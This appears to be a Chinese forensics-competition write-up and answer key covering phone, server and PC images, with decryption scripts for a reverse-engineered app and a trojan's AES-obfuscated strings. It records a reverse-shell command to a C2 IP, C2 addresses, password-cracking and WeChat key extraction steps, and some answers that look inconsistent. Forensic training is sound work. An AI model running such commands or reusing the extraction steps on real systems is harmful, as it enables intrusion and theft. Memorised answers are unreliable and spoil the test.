2026平航团体赛
手机
1. 分析早起王的手机,手机型号为?【答案格式:Xiaomi13】
Pixel 6
2. 分析早起王的手机,早起王最近想旅行,结合高德地图搜索记录,他最可能去的景点是哪个?【答案格式:黄山】
西湖
3. 分析早起王的手机,早起王在什么时间加上倩倩微信的?【答案格式:2025-08-18 07:09:19】
2026/3/30 7:13:08.000
4. 分析早起王的手机,倩倩在2026年3月30号吃了什么?【答案格式:西湖醋鱼】
麻薯小蛋糕和螺狮粉吧…
5. 分析倩倩的手机,倩倩手机的系统版本是多少?【答案格式:5.2.3.123】
6.0.0.380
6. 分析倩倩的手机,“舔狗”的微信内部ID是多少?【答案格式:wxid_ab12】
wxid_uh5tfx2zi8yh22
7. 分析倩倩的手机,倩倩曾给一位好友推荐游戏,这个好友叫什么名字?【答案格式:杨梅】
冰糖
8. 分析倩倩的手机结合逆向包,推荐的游戏叫什么?【答案格式:far echo】
zero sievert
9. 分析倩倩的手机,倩倩一共阅读过多少条搜狐新闻?【答案格式:11】
33
10. 分析倩倩手机逆向包,数据加密app的包名是什么?【答案格式:com.komeiji.satori】
com.koishi.fpt
11. 接上题,初始化app时需要至少几位数的密码?【答案格式:10】
6
12. 接上题,加密后的文件名的后缀是什么?【答案格式:.enc】
.tb
13. 接上题,app会自动识别几种后缀的文件为图片类型?【答案格式:8】
5
14. 接上题,app共从用于自定义加密的so模块导入了几个方法?【答案格式:8】
2
15. 接上题,app设置的密码是多少?【答案格式:514aa11a4191a98】
217sr94q01679u39
w1是q1的封装,q1找到so文件
然后ida分析napi_define_properties extern
然后交叉分析,找到5D58,可以看到数据源地址
这边其实就是代表上面的q1和s1
1 | __int64 __fastcall sub_5DE0(__int64 a1, __int64 a2) |
这里有对应接口有4个参数
很明显对应q1,,没问题,那么逆向可以知道是rot16
16. 接上题,app中存储的门锁密码是多少?【答案格式:5141141919810】
1472580369123
这里需要看一下e1.t1和e1.a2的作用
而后s1对应加密函数,也就是异或的那个,写解密脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72import os
def decrypt_ctf_payload(input_filepath, output_filepath, key_string):
"""
通用异或解密脚本 (支持图片/文件/字符串)
对应底层 sub_603C 的加密算法
"""
if not os.path.exists(input_filepath):
print(f"❌ 找不到文件: {input_filepath}")
return
# 将字符串密钥转为字节数组
key_bytes = [ord(c) for c in key_string]
key_len = len(key_bytes)
# 读取加密的二进制数据
with open(input_filepath, 'rb') as f:
cipher_bytes = f.read()
# 准备解密后的字节数组
plain_bytes = bytearray(len(cipher_bytes))
print(f"正在解密,数据总长度: {len(cipher_bytes)} bytes...")
# 执行底层 sub_603C 的异或逻辑
for i in range(len(cipher_bytes)):
mod_index = i % key_len
# 核心算法:(密钥字节 + 索引) & 0xFF ^ 密文字节
mixed_key_part = (key_bytes[mod_index] + mod_index) & 0xFF
plain_bytes[i] = mixed_key_part ^ cipher_bytes[i]
# 将解密后的结果写入新文件
with open(output_filepath, 'wb') as f:
f.write(plain_bytes)
print(f"✅ 解密成功!已保存至: {output_filepath}")
# --- 智能分析部分 ---
print("-" * 30)
# 打印前 8 个字节的十六进制,用于识别文件类型
header_hex = plain_bytes[:8].hex().upper()
print(f"🔍 解密后文件头 (Hex): {header_hex}")
# 常见文件头推断
if header_hex.startswith("89504E47"):
print("💡 推断文件类型: PNG 图片 (请修改后缀名为 .png 后查看)")
elif header_hex.startswith("FFD8FF"):
print("💡 推断文件类型: JPEG 图片 (请修改后缀名为 .jpg 后查看)")
elif header_hex.startswith("504B0304"):
print("💡 推断文件类型: ZIP 压缩包 (请修改后缀名为 .zip 后解压)")
elif header_hex.startswith("7B") or header_hex.startswith("5B"): # { 或 [
print("💡 推断文件类型: JSON 文本")
else:
# 如果不是常见文件头,尝试当做普通字符串打印前 100 个字符
try:
text_preview = plain_bytes[:100].decode('utf-8')
print(f"💡 尝试作为文本预览: \n{text_preview}...")
except UnicodeDecodeError:
print("💡 未知二进制文件,请使用 Hex Editor (如 010 Editor) 打开查看。")
# ================= 使用配置 =================
# 1. 密钥
REAL_KEY = "217sr94q01679u39"
# 2. 把你需要解密的数据保存为这个文件
INPUT_FILE = "encrypted_data.bin"
# 3. 输出的文件名
OUTPUT_FILE = "decrypted_result.bin"
# 运行解密
decrypt_ctf_payload(INPUT_FILE, OUTPUT_FILE, REAL_KEY)
17. 接上题,加密图片里面的隐藏的flag是多少?【答案格式:flag{123456!}】
flag{happy_forensics_2026!}
服务器
18. 分析服务器镜像,内核版本为?【答案格式:5.10-301-generic】
6.8.0-107-generic
在\usr\lib\moodules下也可以看到
19. 分析服务器镜像,用户登录成功系统的次数为?【答案格式:3】
9
20. 分析服务器镜像,redis数据库服务密码是多少? 【答案格式:abcdef】1
requirepass zjjcxy
21. 分析服务器镜像,api站点后台管理员密码所用的加密算法为?【答案格式:bcrypt】
argon2id算法
22. 分析服务器镜像,api站点后台管理员密码为(使用rockyou字典爆破,密码格式b1?????b,?为数字)?【答案格式:a123456a】b123321b
23. 分析服务器镜像,登录api网站后台,后台通知设置里的超时事件(毫秒)为?【答案格式:10000】
1000
这个网站镜像好恶心,root里面啥都没有,必须要进早起王的账户
然后输入:node src/app.js
其实nodemon.json里面有提示
然后进来账户是zaoqiwang,密码b123321b
24. 分析服务器镜像,登录api网站后台,查询总Token消耗数量为?【答案格式:999.9K】
474.2K
25. 分析服务器镜像,登录api网站后台,查询最早创建apikey的时间为?【答案格式:2026-01-01T13:11:22.190Z】
具体时间可以在json里面找
2026-04-01T11:11:07.535Z
26. 分析服务器镜像,编写脚本,通过调用inject_bash_blocks函数,确定恶意投毒的payload。(提示:输入一段包含 bash块的文本)【答案格式:a.exe 192.168.1.1 22 -i hello】
27. 接上题,should_inject_for_ua(ua, ip)对UA字符串有过滤条件,只有特定UA才会进入后续判断。请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词。【答案格式:1】【提示:备选项:curl、openclaw、mozilla、wget、httpx、claude、requests、bot、crawler】
28. 接上题,只有当同一IP的上次请求距今足够近时,才会进入概率判断。请编写脚本确定这个时间窗口的阈值(单位:ms)。【答案格式:100,注意,只保留整百的,四舍五入】【提示:必须控制变量,每次实验使用一批全新的IP,先统一记录时间戳,再等待固定间隔后统一检测,不可在等待期间更新同一IP的时间戳,否则会刷新计时,从0ms到1000ms逐步探测,找到从“命中”变为“不命中”的临界间隔,建议每个间隔值使用≥200个IP以消除概率干扰。】
29. 接上题,在UA条件和IP时间条件均满足的前提下,函数仍有一定概率返回false。请编写脚本估算触发概率,并推算概率1/N(即理论上平均每N次满足前两个条件的调用才触发一次】。【答案格式:10,格式只保留整十】【提示:建议样本量不少于10000次有效检测(UA条件满足+IP时间条件满足),不然四舍五入会出现进位问题。】
计算机
30. 请分析早起王的PC镜像,计算机系统 Build 版本是什么?【答案格式:12345.1234】【提示:仿真蓝屏是因存在 OSDATA 文件,删除后即可正常仿真 】
19045.6466
31. 请分析早起王的PC镜像,用户深情专一沼气王,她是我的生死劫的登陆密码 LM 哈希值后六位?【答案格式:abc123】
1404ee
32. 请分析早起王的PC镜像,沼气王的桌面有本日记,请问沼气王暗恋对象的生日为?【答案格式:05月26日】
3 月 24 日
33. 请分析早起王的PC镜像,早起王受到过一封邮件,请找出邮件中隐写的秘密【答案格式:xxx,xxx】
34. 请分析早起王的PC镜像,VeraCrypt容器的外层密码是什么?【答案格式:abc123】【提示:分析utools】
qq520250520250520250
35. 请分析早起王的PC镜像,早起王设置了一个AI女友,并自行导入过一个角色模型,该模型的原始文件名为?【答案格式:ABC.vrm】
MANUK.vrm
36. 请分析早起王的PC镜像,AI女友使用的模型是什么?【答案格式:openai/GPT5.3-Codex-01-01】
OpenRouter/Qwen3.5-Flash
37. 请分析早起王的PC镜像,该PC中有一个离线大模型软件,其上次对话使用的模型是?【答案格式:ministral-3-14b-reasoning】
qwen2.5-coder-14b-instruct
38. 请分析早起王的PC镜像,早起王曾删除一个MD5值为49B367AC261A722A7C2BBBC328C32545的恶意文件,请尝试数据恢复并找到其文件名?【答案格式:abc123】
49B367AC261A722A7C2BBBC328C32545
39. 接上题,该文件中有多个流(streams)包含宏。请提供其中编号最小的一个。【答案格式:3】
8
40. 接上题,混淆代码的解密密钥是什么?【答案格式:填写传入脚本的实际密钥,不包含命令行分隔空格】
EzZETcSXyKAdF_e5I2i1
有代码混淆
41. 接上题,释放并删除的文件是什么?【答案格式:abc.py】
maintools.js
42. 接上题,该文件用的是什么语言?【答案格式:JavaScript】
VBA
43. 接上题,分配给命令行参数的变量叫什么名字?【答案格式:abc3】
44. 接上题,哪个函数返回下一阶段代码(即第一轮混淆代码)?【答案格式:abc3】
45. 接上题,可以使用哪个 Windows 脚本主机程序在命令行模式下执行该脚本?【答案格式:wscript.exe】
46. 接上题,请提取出所有硬编码的C2(Command & Control)服务器域名?【答案格式:www.baidu.com、www.google.com,按照在代码中出现的顺序排序】
47. 接上题,当C2服务器返回 “work” 指令时,脚本下载并执行的最终文件扩展名是什么?【答案格式:exe】
48. 接上题,如果与C2通信失败,脚本会调用哪个函数尝试自毁并清理痕迹?【答案格式:Aabc】
49. 分析早起王的PC镜像,该PC中neo4j数据库的密码是多少?【答案格式:abc3】
50. 根据早起王笔录内容,早起王曾经对某企业进行过渗透攻击,请分析域内实体关系,FILESERVER.XIAORANG.LAB 对 XIAORANG.LAB 域拥有什么控制权限?【答案格式:ABCabc】
51. 根据早起王笔录内容,早起王在渗透过程中已成功控制ZHANGXIN@XIAORANG.LAB,请结合域内实体关系图分析,早起王获取域控权限的完整攻击轨迹是什么?【答案格式:XXXXXXXX@XXXXXXX.XXX->XXXXXXXXXX.XXXXXXX.XXX->XXXXXXXX.XXX】
52. 早起王在PC中记录过自己的犯罪动机并对其进行加密,请使用社工的方式破解加密文件,并提交密码。【答案格式:aabc3**】
Zqw20040101!
53. 早起王曾给倩倩发送过一封钓鱼邮件,请找到并计算附件MD5值【答案格式:字母不区分大小写】
5436B61EA58ADB794804E3F18CE53F2A
54. 接上题,编译木马使用的.NET版本是多少?【答案格式:1.1.45141】
4.0.0
55. 接上题,木马中有多少反沙箱和反调试的检测逻辑?【答案格式:8】
好复杂,一个一个分析,先是找到入口点,找到检测函数AuPSZXXVSMF0DQRCvC2rt5MfcrYC48o7KO1SI69og2JLhf02Th6Xma2HOysY
也可以看看到底是不是,这里的Mi6spCUvppp4DtgyuvMzJhDBJsveVBG9zeD8c1kQXdScZVgnMViFJzIwncYfWRaCuUs0darWmS0uW4ndY5RkKqmDAG78明显是在检测虚拟机
所以答案是5种
56. 接上题,木马为获得提升的权限执行而创建的计划任务名称是什么?【答案格式:Netlogon】
1 | try |
在这里
也就是说需要解出来NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.EB5J4sIzfH74BwfgRjacCtnEuNWFxu93z57nr4HrttTW5asXOhadv7pC7YFu是什么
其中解密函数在yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9中
采用AES-256-ECB加密算法,然后解密脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36import hashlib
import base64
from Crypto.Cipher import AES
def decrypt_asyncrat_string(ciphertext_b64, seed_string):
# 1. 计算密钥种子的 MD5 (16字节)
md5_hash = hashlib.md5(seed_string.encode('utf-8')).digest()
# 2. 复刻木马的奇葩密钥生成逻辑 (长度32字节)
key = bytearray(32)
# Array.Copy(sourceArray, 0, array, 0, 16);
key[0:16] = md5_hash
# Array.Copy(sourceArray, 0, array, 15, 16); -> 这一步覆盖了第15个字节!
key[15:31] = md5_hash
# key[31] 默认保留为 0x00
# 3. Base64 解码密文
encrypted_bytes = base64.b64decode(ciphertext_b64)
# 4. 使用 AES-256-ECB 进行解密
cipher = AES.new(bytes(key), AES.MODE_ECB)
decrypted_padded = cipher.decrypt(encrypted_bytes)
# 5. 去除 PKCS7 填充
pad_len = decrypted_padded[-1]
decrypted = decrypted_padded[:-pad_len].decode('utf-8')
return decrypted
# --- 填入我们提取到的线索 ---seed = "8xTJ0EKPuiQsJVaT"
ciphertext = "sJHKF5x7kjxy85oLMym05A=="
# 执行解密
result = decrypt_asyncrat_string(ciphertext, seed)
print(f"解密成功!计划任务原始文件名为: {result}")
密钥如下
算出来是WmiPrvSE.exe
也可以直接在虚拟机上运行看看
任务名就是WmiPrvSE
57. 接上题,木马使用哪种加密算法来加密或混淆其配置数据?【答案格式:BASE64】
AES-256-ECB
58. 接上题,为了获取其加密算法的某个参数,木马使用一个硬编码字符串作为输入。这个硬编码字符串的值是多少?【答案格式:uwbf4=wNfw】8xTJ0EKPuiQsJVaT
59. 接上题,木马回连的ip地址有哪些?【按照木马中原始的顺序写入,答案用,隔开,格式:114.114.114.114,8.8.8.8,1.1.1.1】
208.95.112.1,185.117.249.43
60. 接上题,木马回连的C2通信端口是多少?【答案格式:11451】
61. 接上题,该木马通过将自身复制到可移动设备上来传播。在每个受感染设备上创建的新副本的名称是什么?【答案格式:dwm.exe】
62. 接上题,木马用来检测其是否在沙盒环境中运行的DLL的名称是什么?【答案格式:v50.dll】
63. 接上题,木马操纵的用于控制Windows资源管理器中隐藏项目可见性的注册表项名称是什么?【答案格式:AAAabc3】
64. 接上题,木马使用哪个API将其进程标记为关键进程?【答案格式:WNetAddConnection】
65. 接上题,木马使用哪个API来捕获用户输入?【答案格式:WNetAddConnection】
66. 请分析倩倩的PC镜像,倩倩的电脑曾被api投毒过,请找出投毒后执行的的恶意命令。【答案格式:cmd.exe 172.0.0.1 22 -i hello】1
ncat.exe 156.238.239.253 1314 -e powershell
67. 请分析倩倩的PC内存镜像,识别当前正在运行且持有微信数据库解密密钥的微信进程,并提取该进程的进程标识符(PID)?【答案格式:1234】
需要下载插件:https://github.com/NoahBox/vol3-plugins ,我这里改成了wechat
68. 请分析倩倩的PC内存镜像,请尝试解密微信数据库并写出message_0.db对应的微信密钥?【答案格式:60e248c9079f4bc14e256e0b65495e8688d7b342d43dc84a5f417f4097c9c792】
b59f89cb426e60d5406cd08db4bcb27d
69. 请分析倩倩的PC内存镜像,请找到正在运行的木马进程的进程标识符(PID)。【答案格式:1233】
7348
70. 请分析倩倩的PC内存镜像,请找到正在运行的木马进程的创建时间(UTC)?【答案格式:2026-01-01 01:11:11】
2026-04-03 01:46:44
71. 请分析倩倩的PC内存镜像,结合木马分析找出内存中回连的C2木马服务器的真实ip?【答案格式:127.0.0.1:8080】
156.238.239.253
156.238.239.253那个是一直开启的,明显是了











































































